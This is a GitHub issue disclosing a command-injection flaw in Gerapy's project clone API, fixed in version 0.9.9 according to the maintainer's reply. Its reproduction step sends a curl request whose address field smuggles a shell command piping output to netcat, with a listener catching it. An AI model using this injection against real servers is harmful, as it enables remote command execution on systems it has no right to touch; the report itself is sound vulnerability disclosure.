Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

An authenticated user can execute arbitrary command #211

Closed
ksg97031 opened this issue Sep 25, 2021 · 1 comment
Closed

An authenticated user can execute arbitrary command #211

ksg97031 opened this issue Sep 25, 2021 · 1 comment
Assignees
Labels

Comments

@ksg97031
Copy link

Describe the bug
The below code is vulnerable to remote code execution
https://github.com/Gerapy/Gerapy/blob/master/gerapy/server/core/views.py#L323-L343

To Reproduce

$ curl 'http://127.0.0.1:8000/api/project/clone' \
  -H 'Accept: application/json, text/plain, */*' \
  -H 'Content-Type: application/json;charset=UTF-8' \  
  -H 'Authorization: Token $token' \
  --data-raw '{"address":"http;echo hi | nc 127.0.0.1 7777;"}'

$ nc -lvp 7777
hi
@ksg97031 ksg97031 added the bug label Sep 25, 2021
@ksg97031 ksg97031 changed the title An authenticated user can execute command by the 'project_clone' method An authenticated user can execute command Sep 25, 2021
@ksg97031 ksg97031 changed the title An authenticated user can execute command An authenticated user can execute arbitrary command Sep 25, 2021
@Germey
Copy link
Member

Germey commented Dec 26, 2021

Fixed in 0.9.9

@Germey Germey closed this as completed Dec 26, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants